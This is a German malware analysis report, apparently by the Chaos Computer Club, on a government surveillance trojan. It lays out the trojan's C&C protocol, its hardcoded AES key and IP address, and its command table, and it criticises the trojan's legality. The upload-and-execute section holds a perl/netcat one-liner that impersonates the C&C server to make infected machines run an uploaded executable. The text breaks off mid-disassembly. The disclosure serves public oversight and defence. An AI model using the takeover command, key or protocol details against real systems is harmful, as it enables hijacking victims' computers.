# ANALYSE E IN E R RE G IE R U N G S - M AL W AR E #### Dem Chaos Computer Club (CCC) wurde Schadsoftware zugespielt, deren Besitzer begründeten Anlaß zu der Vermutung hatten, daß es sich möglicherweise um einen „Bundestrojaner“ handeln könnte. Einen dieser Trojaner und dessen Funktionen beschreibt dieses Dokument, die anderen Versionen werden teilweise vergleichend hinzugezogen. **Berlin, 8. Oktober 2011** ----- SEI TE 2 ## A U FB A U **Die Malware bestand aus einer Windows-DLL ohne exportierte Routinen. Das ist** **für eine DLL ungewöhnlich; erfahrungsgemäß kommt dies so gut wie aus-** **schließlich bei Schadsoftware vor.** **Unsere Untersuchung umfaßt eine statische Analyse im Disassembler und die** **praktische Umsetzung der Erkenntnisse in der Implementierung einer eigenen** **Kontrollsoftware für den Trojaner.** **Die IP-Adresse des sogenannten „Command-and-Control-Servers“** **(207.158.22.134) war fest in den Trojaner einprogrammiert. Der Server ist** **zum Zeitpunkt des Schreibens dieses Berichtes nach wie vor aktiv und erreich-** **bar. Aus einem Zeitstempel-Feld konnten wir schließen, daß der Beginn der** **dem Trojaner-Einsatz zugrundeliegenden Ermittlung einige Zeit zurückliegt.** **Für die Außen-Kommunikation verwendet der Trojaner den TCP-Port 443. All-** **erdings spricht der Trojaner über diesen Port nicht HTTPS, sondern ein eigenes** **Bastel-Protokoll. Daher ist es möglich, die Kommunikation des Trojaners auto-** **matisiert zu erkennen und beispielsweise in einer Firewall oder einem IDS zu** **identifizieren und zu filtern.** **Das Protokoll benutzt zwar einen Verschlüsselungsalgorithmus, die Implemen-** **tierung erfüllt jedoch bei weitem nicht die gängigen kryptographischen Sicher-** **heitsstandards. So wird nur ein symmetrisches Verfahren (AES) im nicht-ver-** **ketteten Placebo-Modus „ECB“ verwendet. Der Schlüssel ist zudem fest einpro-** **grammiert. Bei anderen Versionen des Trojaners war der identische Schlüssel** **im Einsatz. Es werden einzig die Antworten des Trojaners verschlüsselt, eine** **Authentisierung der jeweiligen Gegenseite findet nicht statt. Ein zeitgemäßes,** **kryptografisches Verfahren zum Schutz der sensiblen Daten, deren Integrität** **und Vertraulichkeit wird hier nicht verwendet. Man kann also bestenfalls von** **einer Verschleierung der Kommunikation reden.** **Alle untersuchten Varianten des Trojaners wurden zum Zeitpunkt der Bericht-** **erstellung von keinem Antivirus-Programm als Schadsoftware erkannt.** **Die in den Trojaner eingebauten Funktionen sind das Anfertigen von Screen-** **shots und das Abhören von Skype- und anderen VoIP-Gesprächen, allerdings** **können auch beliebige Schad-Module nachgeladen und ausgeführt werden.** ----- SEI TE 3 ## I N F E K T I O N **Wir haben keine Erkenntnisse über das Verfahren, wie die Schadsoftware auf** **dem Zielrechner installiert wurde. Eine naheliegende Vermutung ist, daß die** **Angreifer dafür physischen Zugriff auf den Rechner hatten. Andere mögliche** **Verfahren wären ähnliche Angriffe, wie sie von anderer Malware benutzt wer-** **den, also E-Mail-Attachments oder Drive-By-Downloads von Webseiten. Es gibt** **auch kommerzielle Anbieter von sogenannten Infection Proxies, die genau die-** **se Installation für Behörden vornehmen.** **Sicher können wir sagen, daß bei der Infektion zwei Komponenten installiert** **wurden: eine Windows-DLL im Userland c:\windows\system32\mfc42ul.dll** **sowie ein Windows-Kernel-Modul namens winsys32.sys.** **Das Laden und Ausführen des DLL-Codes wird über den Registry-Key** SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs **realisiert, das Kernel-Modul wird über einen Windows-Kernel-Modul-Service** **vom Betriebssystem geladen.** **Das Kernel-Modul liegt in Form einer unsignierten 32-bit-Datei vor. Es kann** **daher in dieser Form nur auf einem 32-bit-Windows funktionieren. Uns liegen** **keine Erkenntnisse vor, ob es auch eine 64-bit-Version gibt. Dies wäre daher** **interessant, da 64-bit-Versionen zwangsläufig signiert sein müssen. Über die** **Signatur könnte man eventuell Rückschlüsse auf den Urheber der Software** **ziehen.** ## K O M M U NIK AT ION MIT K OMMANDO Z ENTR AL E **Beim regulären Laden einer Windows-DLL wird zumindest die DLL-Main-Routine** **verarbeitet, hierin werden die ersten, initialen Schadroutinen ausgeführt, die** **dafür sorgen, daß aktuell laufende Prozesse infiziert werden. Unter anderem** **dockt sich die Schadsoftware an den Prozeß explorer.exe an und baut von hier** **aus die Verbindung zum Kontrollserver auf.** **Der in den uns vorliegenden Trojanern hart einkodierte Command-and-Control-** **Server (C+C-Server) befindet sich auf der IP 207.158.22.134. Diese IP liegt im** **Rechenzentrum des kommerziellen Hosting-Anbieters Web Intellects in Colum-** **bus, Ohio, USA.** ----- SEI TE 4 ## V ER S CHL Ü SSE LUNG **Wir haben in der DLL das bekannte Block-Cipher-Verfahren AES gefunden. Es** **wird für die Verschlüsselung der ausgehenden Daten verwendet. Da AES ein** **symmetrisches Verfahren ist, müssen Sender und Empfänger denselben gehei-** **men Schlüssel besitzen und sind für Dritte kryptographisch nicht unterscheid-** **bar. Der AES-Schlüssel ist in allen von uns untersuchten Varianten des Troja-** **ners gleich. Er lautet:** 49 03 93 08 19 94 96 94 28 93 83 04 68 28 A8 F5 0A B9 94 02 45 81 93 1F BC D7 F3 AD 93 F5 32 93 **Auffällig an dem gefundenen AES-Code ist, daß nur die Verschlüsselung im-** **plementiert wurde, nicht aber die für die Entschlüsselung benötigte Decryption** **Key Derivation. Außerdem werden in dem benutzten ECB-Modus alle 16-Byte-** **Blöcke mit demselben Schlüssel ver- und wieder entschlüsselt. Im Klartext:** **Identischer Input erzeugt identischen Output.** **Wie bereits erwähnt wird nur eine Richtung der Kommunikation verschlüsselt,** **nämlich die Antworten des Trojaners. Wichtiger als die Ver-schlüsselung ist für** **einen Kommandokanal aber die Authentisierung. Der Trojaner implementiert** **hier keinerlei Schutz gegen Manipulationen. Es gibt lediglich einen fest einko-** **dierten Banner-String, und zwar** C3PO-r2d2-POE **Dieser wird jedoch vom Trojaner zum Server geschickt und nicht andershe-** **rum. Ein Angreifer muß ihn also nicht kennen oder entschlüsseln können, um** **den Trojaner übernehmen zu können, denn die Gegenrichtung, also die Kom-** **mandos an den Trojaner und ihre Parameter, sind gänzlich ungesichert und** **können von Dritten frei eingesehen oder manipuliert werden.** **Durch die unzureichende Verschlüsselung ergibt sich aus diesem Banner ein** **konstanter Byte-String am Anfang der Trojaner-Kommunikation, an dem man** **den Trojaner-Rückkanal automatisiert in einem IDS oder IPS erkennen, heraus-** **filtern bzw. Alarm schlagen kann.** **Diese beiden Punkte sind besonders brisant, weil eine der manipulierbaren** **Funktionen das Hochladen und Ausführen eines weiteren Programmes ist (sie-** **he unten). Es ist daher ein Leichtes, ein einmal identifiziertes, mit diesem Tro-** **janer infiziertes System zu übernehmen und beispielsweise mit anderer Schad-** **software zu befüllen.** ----- SEI TE 5 **Zur Veranschaulichung: Bei einer solchen Übernahme würde man einfach die** **ersten 65 Bytes (Banner und Informationen wie die Fall-Nummer) aus der Ver-** **bindung des Trojaners abwarten und ihm danach einen Befehl der Form** \x0e **zuschicken. Hierfür muß man nicht einmal den AES-Schlüssel kennen.** **Die fehlende Authentisierung ermöglicht die folgenden Angriffsszenarien:** **1.) Ein Dritter versucht, die Zielperson mit falschen Beweisen zu belasten. Da-** **für meldet er sich am C+C-Server als das Zielsystem an und liefert gefälschte** **Beweise an die Ermittlungsbehörden. Dieses Szenario ist sehr einfach zu im-** **plementieren.** **2.) Ein Dritter manipuliert den Netzwerkverkehr zwischen Zielperson und C+C-** **Server und gibt sich dem Trojaner gegenüber als der C+C-Server aus. Solche** **Möglichkeiten ergeben sich teilweise in öffentlichen (WLAN) oder anderweitig** **kompromittierbaren Netzwerken. Es wäre auch denkbar, daß ein Standort vor-** **sorglich an der Firewall einen solchen Service installiert, um Teilnehmer im ei-** **genen Netz vor Abhörversuchen zu schützen. In beiden Fällen besitzen Dritte** **die Möglichkeit, beliebige Programme auf dem System der Zielperson auszu-** **führen, der Person gefälschte Beweise unterzuschieben oder ihre Daten zu lö-** **schen oder zu manipulieren.** **3.) Da es auch zwischen den beiden Software-Komponenten des Trojaners keine** **Authentisierung gibt, gelten ähnliche Angriffsmöglichkeiten auch innerhalb des** **Rechners. Eine Schadsoftware kann sich mit Hilfe des Kernel-Moduls erhöhte** **Zugriffsrechte auf dem Zielsystem verschaffen, einfach indem sie das Kernel-** **Modul darum „bittet“. Ohne diese Hintertür bräuchte man Kenntnis einer aktu-** **ellen „local privilege escalation“-Sicherheitslücke, für die auf dem Schwarz-** **markt vier- bis fünfstellige Euro-Beträge verlangt werden.** ## B E WE R T U NG **Der Einsatz von AES in dem gezeigten katastrophalen Gesamtumfeld – ohne** **Session-Keys, mit ECB, und nur in eine Richtung – deutet auf Ausschreibungen** **im öffentlichen Sektor hin, bei denen AES gefordert wurde, aber der Rest nicht** **spezifiziert war. Mehr als einen Bonuspunkt in der B-Note können wir hier lei-** **der nicht vergeben.** **Wir sind hocherfreut, daß sich für die moralisch fragwürdige Tätigkeit der Pro-** **grammierung der Computerwanze keine fähiger Experte gewinnen ließ und die** **Aufgabe am Ende bei studentischen Hilfskräften mit noch nicht entwickeltem** **festen Moralfundament hängenblieb.** ----- SEI TE 6 **Auf der anderen Seite sind wir erschüttert, daß ein solches System bei der Qua-** **litätssicherung auch nur durch das Sekretariat kommen konnte. Anfängerfehler** **dieser Größenordnung hätten im Vorfeld unterbunden werden müssen, zumal** **bereits bei der Anhörung vor dem Bundesverfassungsgericht anläßlich des Be-** **schwerdeverfahrens gegen die Online-Durchsuchung von Regierungsseite im-** **mer wieder versichert wurde, daß besonders hohe Qualitätssicherungsansprü-** **che gestellt würden. Man sprach gar davon, daß die Spionagesoftware indivi-** **dualisiert an den Zielrechner angepaßt würde. Diese hehren Ziele sind offenbar** **Sparmaßnahmen bei den Behörden zum Opfer gefallen.** **Das vollumfängliche Eintreffen unsere Voraussage, daß ein Staatstrojaner zu-** **sätzliche klaffende Sicherheitslücken in die Zielrechner reißen würde, über-** **raschte angesichts der ausführlichen Diskussionen schon etwas, erfüllt uns je-** **doch angesichts der potentiellen Schäden für Betroffene kaum mit Genugtuung.** **Wir möchten darauf hinweisen, daß für die Zielpersonen die Unschuldsvermu-** **tung und für ihre Rechner das Grundrecht auf Vertraulichkeit und Integrität** **informationstechnischer Systeme gilt. Es ist für uns unbegreiflich, wie ein sol-** **cher Trojaner die vertraulichen und möglicherweise aus dem zu schützenden** **Kernbereich der privaten Lebensgestaltung stammenden Daten durch ein Dritt-** **land leiten kann, zumal noch ein in Fragen der Menschenrechte schlecht be-** **leumundetes. Durch die Umleitung der Daten durch ein Land außerhalb der Ju-** **risdiktion der EU wird dem betroffenen Bürger möglicherweise auch ein wirk-** **samer Rechtsbehelf verwehrt.** **Besonders die Privatsphäre, aber auch Wirtschaftsgeheimnisse sind schützens-** **wert. Das hier vorliegende Schadprogramm geht grob fahrlässig mit den sensib-** **len abgeschnorchelten Daten um. Insbesondere entsetzt der Umstand der** **Durchreichung der unzureichend gesicherten Daten durch ein nicht näher kon-** **trolliertes Netzwerk.** **Angesichts der katastrophal gescheiterten Mechanismen zur Einhaltung von** **Mindeststandards bezüglich der kryptographischen Absicherung sensibler Da-** **ten stellt sich auch die folgende Frage: Wie stehen die Verantwortlichen zu der** **Tatsache, daß die möglicherweise sensiblen Daten ausgespähter deutscher** **Bürger und Firmen durch die Netzwerke eines Landes geleitet werden, welches** **aktiv Wirtschaftsspionage in Deutschland betreibt? Wieso werden die Daten** **nicht über einen virtuellen Server etwa bei 1&1 oder Strato unter deutscher** **Jurisdiktion geleitet?** ----- SEI TE 7 ## V ER B I N D U NGSAUFB AU UND DATENSTR UKTUR EN **Ein nicht verbundener Client versucht in unregelmäßigen Abständen, sich per** **TCP zum Server zu verbinden. Bei Erfolg sendet er ein Null-Byte und einen** **Header von 64 Byte Länge. Ist der C+C-Server an den Daten interessiert, sollte** **er sie entschlüsseln.** **Der Klartext des Paketes beginnt immer mit dem Magic C3PO-r2d2-POE** **Die ersten Bytes des Klartext-Headers:** 00000 43 33 50 4f 2d 72 32 64 32 2d 50 4f 45 00 99 96 C3PO-r2d2-POE 00010 07 00 00 00 1b c7 9b dc 5d 88 3d e1 57 a6 dd 7c ] = W | 00020 32 33 43 43 43 32 33 00 35 0f d8 04 a1 c2 f2 df 23CCC23 5 ... **Nach dieser Begrüßung sendet der Client regelmäßig 16 Bytes lange Idle-Pakete** **der Form:** 00000 11 26 80 7c ff ff ff ff 00 26 80 7c 42 25 80 7c .&.|.....&.|B%.| **Einmal verbunden kann der Server Befehle an den Client senden. Diese Kom-** **mandos bestehen aus einem Byte Command-Identifier und einer variablen** **Menge von Parametern. Sie werden weiter unten aufgelistet.** **Der Client antwortet auf einen Befehl mit einem 16 Bytes langen Header, an** **dessen erster Position meist ein Response Code steht. Dieser Response Code,** **beispielsweise im Falle eines Idle-Feedbacks 0x11, das Byte 0x16, signalisiert** **dem Server, daß sogleich ein JPEG-kodiertes Bildschirm-Foto gesendet wird.** 0x28 gibt an, daß es gerade keine Fotos gibt (zum Beispiel, weil kein Browser**oder Skype-Fenster im Vordergrund, der Bildschirmschoner aktiv oder das** **Fenster teilweise verdeckt ist), und 0x23 signalisiert: „Dein soeben hochgela-** **denes Executable wurde ausgeführt“.** **Nach dem Header folgen Response-abhängige Daten dynamischer Länge, etwa** **der angeforderte Screenshot oder ausgeleitete Audiofragmente.** **Im Trojaner gibt für die Kommandos vom Server eine Kommando-Dispatcher-** **Routine mit einem großen Switch-Statement. Wir konnten einen Großteil der** **Funktionalitäten identifizieren, die Funktion einiger einzelner Kommandos ist** **aber noch unklar. Teilweise werden in den Routinen lediglich Werte geparsed** **und in verschiedene Datenstrukturen geschrieben. Wir nehmen an, daß hier** **indirekt Aktionen getriggert und/oder das Laufzeitverhalten des Trojaners** **konfiguriert werden kann.** **Die genaue Verwendung der Datenstrukturen, die durch diese unbekannten** **Kommandos verändert wurden, konnte aufgrund der Komplexität noch nicht** ----- SEI TE 8 **sinnvoll nachvollzogen werden, daher bleiben diese im Rahmen dieser Doku-** **mentation zunächst außen vor. Es würde uns freuen, wenn sich Interessierte** **der von uns bereitgestellten Ressourcen bedienten und gemeinsam die fehlen-** **den Punkte zusammentrügen – gern vollkommen anonym und verschlüsselt an** **die E-Mailadresse 0zapftis@ccc.de mit dem PGP-Key am Ende des Berichtes.** **Hier die bislang identifizierten Kommandos aus der Dispatcher-Routine:** **"--" bedeutet, daß das Kommando von der Routine nicht behandelt wird.** **"?" bedeutet, daß bislang unklar ist, was für Auswirkungen das Kommando auf** **den Programmverlauf hat.** cmd 1: - cmd 2: Client verbindet sich neu und versucht danach, bisher unbekannte Daten abzusetzen, Code ist ähnlich wie cmd 13 cmd 3: Screencast geringer Bildqualität über eine bestimmte Zeit, wie cmd 9, nur mit einem Argument cmd 4: Registrieren des Kernelmode-Treibers im Betriebssystem cmd 5: Installation aller trojanerspezifischen Dateien im Dateisystem; noch ist nicht eindundertprozentig klar, woher die Daten genau kommen, möglicherweise gibt es noch eine Upload-Funktion ähnlich cmd 14 cmd 6: Löschen der Trojaner-Daten vom Dateisystem & Reboot cmd 7: Entladen des Trojaners cmd 8: Liste mit allen Softwarekomponenten und Patches cmd 9: wie cmd 3, aber mit drei Argumenten cmd 10: - cmd 11: - cmd 12: Setzen irgendwelcher Werte (sechs Integer-Werte, geparsed via sscanf) cmd 13: Screenshot von Webbrowser und Skype cmd 14: Upload eines Programmes und dessen unmittelbare Ausführung cmd 15: - cmd 16: ? cmd 17: ? cmd 18: Return 0 ----- SEI TE 9 **Da wir uns zunächst auf das große Gesamtbild und einzelne besonders frag-** **würdige Methoden konzentriert haben, sind einige Kommandos auf der Strecke** **geblieben. Über die Vervollständigung der Dokumentation durch die Communi-** **ty wären wir froh. Wir nehmen außerdem gern weitere Trojaner-Samples oder** **auch Quell-Code in braunen oder bunten Umschlägen oder per E-Mail an** ``` 0zapftis@ccc.de entgegen (PGP-Key am Ende des Dokuments). ## SCR E E N S H OT- ME CHANISM EN ``` **Der C+C-Server kann auf verschiedenen Wegen Screenshots vom Client-PC an-** **fordern. Die beiden Kommandos 2 und 13 unterscheiden sich anscheinend nur** **in der Anzahl der Parameter, die übergeben werden.** **Screenshots werden offenbar standardmäßig (wir haben bislang keinen Weg** **drumherum gefunden) lediglich von den Fenstern mit Fokus gemacht, sofern** **eine White-List mit Prozeßnamen auf das Fenster zutrifft. Derzeit können wir** **zwar nicht ausschließen, daß es noch einen nativen Weg gibt, Screenshots vol-** **ler Bildschirmgröße anzufertigen, aber zunächst scheint ein Check mittels** IsWindow() zu Beginn einer Screenshot-Routine zu greifen: ... .text:1000A410 000 sub esp, 6Ch .text:1000A413 06C push ebx .text:1000A414 070 mov ebx, ecx .text:1000A416 070 mov eax, [ebx+20h] .text:1000A419 070 push eax ; hWnd .text:1000A41A 074 call ds:IsWindow .text:1000A41A .text:1000A420 070 test eax, eax .text:1000A422 070 jnz short loc_1000A42D .text:1000A422 .text:1000A424 070 xor al, al .text:1000A426 070 pop ebx .text:1000A427 06C add esp, 6Ch .text:1000A42A 000 retn 18h ----- SEI TE 10 **Wird ein Screenshot vom Client angefordert, geschieht dies durch das Senden** **des Befehls 0x0d mit zweimal 4 Byte langen Argumenten, beispielsweise: 0D FF** FF FF FF FF FF FF FF. Nur zur Erinnerung: Alles was der C+C-Server an den Cli**ent-PC sendet, ist unverschlüsselt.** **Der Client antwortet hierauf entweder mit einem** 28 26 80 7c ff ff ff ff 00 26 80 7c 42 25 80 7c **falls keine Bilddaten gesendet werden – oder z. B. mit** 16 26 80 7c ff ff ff ff 00 26 80 7c 42 25 80 7c ss ss ss ss ff ff ff ff 00 26 80 7c 42 25 80 7c **falls ein JPEG-kodiertes Bild folgt. Die mit „s“ markierten Bytes beinhalten die** **Größe der zu übertragenden Bild-Daten. Nach dem Empfang eines solchen Hea-** **ders sollten genau „ss ss ss ss“ Bytes gelesen werden.** ## B E WE R T U NG **Hier ist rechtlich und ethisch einiges in der Grauzone. Es ist beispielsweise** **ausgesprochen fragwürdig, bei einer Telekommunikationsüberwachung** **Screenshots eines E-Mail-Programmes oder anderer Editoren für eine Beweissi-** **cherung anzufertigen, da nicht nachgewiesen werden kann, ob die Texte über-** **haupt versendet wurden, also eine Kommunikation stattfand.** **Alles, was im aktiven Bildschirmfenster passiert, zu Kommunikation umzude-** **finieren und dann mit einer „Quellen-TKÜ“ abzugreifen, sollte auch intellektuell** **weniger Begabten als dreiste Nummer ins Auge fallen. Eine** **E-Mail kann nach dem Verfassen nochmals überarbeitet und anderslautend ver-** **schickt worden sein, oder der Benutzer kann es sich auch anders überlegen** **und die E-Mail verwerfen. Und daß nebenher per Screenshot auch noch aufge-** **zeichnet wird, was der Betroffene sonst so anklickt, grenzt an staatlichen** **Voyeurismus.** **Letztlich erfaßt die Schadsoftware Gedankengänge des Computerbenutzers.** **Sein digitales Tagebuch, erstellt mit einer browserbasierten Textverarbeitung,** **enthält Überlegungen, die vielleicht nie seine Festplatte verlassen sollten, aber** **durch den Einsatz der Computerwanze als belastendes Indiz herangezogen** **werden können. Wenn das kein Eingriff in die digitale Intimsphäre ist, was** **dann?** ----- SEI TE 11 **Selbst wenn es hier klare rechtliche Regularien und eventuell sogar fachkundi-** **ge, unabhängige Überprüfungen der Trojaner-Software gäbe: Ein großer Teil** **der Bürger nutzt mehr und mehr sogenannte Cloud-Dienste über Webbrowser** **und verfaßt etwa E-Mails, Tagebücher, Berichte und Kalendereinträge online.** **Google geht diese Richtung noch einen Schritt weiter und bietet ein vollkom-** **men Webbrowser-basiertes Betriebssystem an.** **Für einen Teil der Menschen wird es also langfristig keine Trennung zwischen** **on- und offline verfaßten Texten mehr geben, die für die Behörden durch den** **„Quellen-Telekommunikationsüberwachungs“-Trojanereinsatz offenlägen.** **Schon jetzt haben mit HTML5 lokale Datenbankzugriffe Einzug in die Browser** **gefunden, so daß man auch lokale Anwendungen komplett nativ in einem** **Webbrowser realisieren kann, die dann ebenfalls per Browser-Screenshot über-** **wacht werden können.** ## HI N T E R T Ü R IN DE R HINT ER T Ü R **Laut Aussage der Behörden, die diese Schadsoftware einsetzen, und laut der** **Angaben im Rahmen der Anhörung vor dem Bundesverfassungsgericht, wer-** **den die Programme für jeden Einzelfall individuell zusammengestellt. Jede** **Funktionalität soll richterlich abgesegnet sein.** **Diese Aussage erscheint uns nicht glaubwürdig, weil die hartkodierten Schlüs-** **sel und Dateinamen in allen untersuchten Trojaner-Varianten identisch waren.** **Außerdem fanden wir noch Reste von Code für unbenutzte Funktionalität in** **den Binaries. Wenn hier also für jede Anwendung spezifisch ein Trojaner ange-** **fertigt wird, dann kann die Durchführung nur als dilettantisch bezeichnet wer-** **den.** **Wir fanden außerdem prompt eine Hintertür in der Hintertür – also einen Bun-** **destrojaner-Funktionserweiterer, der vorbei an jeder Kontrolle etwaig invol-** **vierter Ermittlungsrichter nativ die Möglichkeit zur Verfügung stellt, die** **Schadsoftware mit weiteren Funktionalitäten anzureichern.** ----- SEI TE 12 ## UPL O A D - UND E X E CUT E - M EC H ANISMUS **Zunächst wird der entsprechende Befehl zum Hochladen eines Programmes im** **Kommando-Dispatcher nicht versteckt. Er ist einfach da, und er kann getriggert** **werden:** .text:100064C1 ; --------------------------------------------------------------------------.text:100064C1 .text:100064C1 perl -e 'print "\x0e" . "\x10\x00\x00\x00" . "B" x 16 . "\x00\xc0\x01\x00" . `cat calc.exe`;' | nc -v -l 6666 | hexdump -C .text:100064C1 .text:100064C1 cmd_disp_case14: ; CODE XREF: _0zapftis_process_remotemessage+31j .text:100064C1 ; DATA XREF: .text:__0zapftis_init_cmd_dispatchero .text:100064C1 014 mov edx, [esi] ; jumptable 100063A1 case 14 .text:100064C3 014 mov ecx, esi .text:100064C5 014 call dword ptr [edx+2Ch] .text:100064C5 .text:100064C8 014 jmp short loc_100064F9 **Der letztlich ausgeführte Code beinhaltet das Speichern der Datei** .text:1000D4F1 438 call ds:GetTempPathA .text:1000D4F1 .text:1000D4F7 .text:1000D4F7 loc_1000D4F7: ; CODE XREF: _0zapftis_download_store_EXE+BBj .text:1000D4F7 430 mov eax, tmp_file_index .text:1000D4FC 430 lea edx, [esp+430h+FileName] .text:1000D500 430 mov ecx, eax .text:1000D502 430 inc eax .text:1000D503 430 push ecx .text:1000D504 434 lea ecx, [esp+434h+Buffer] .text:1000D50B 434 push ecx .text:1000D50C 438 push offset aSTmp08x_exe ; "%s~tmp%08x~.exe" .text:1000D511 43C push edx ; Destination Buffer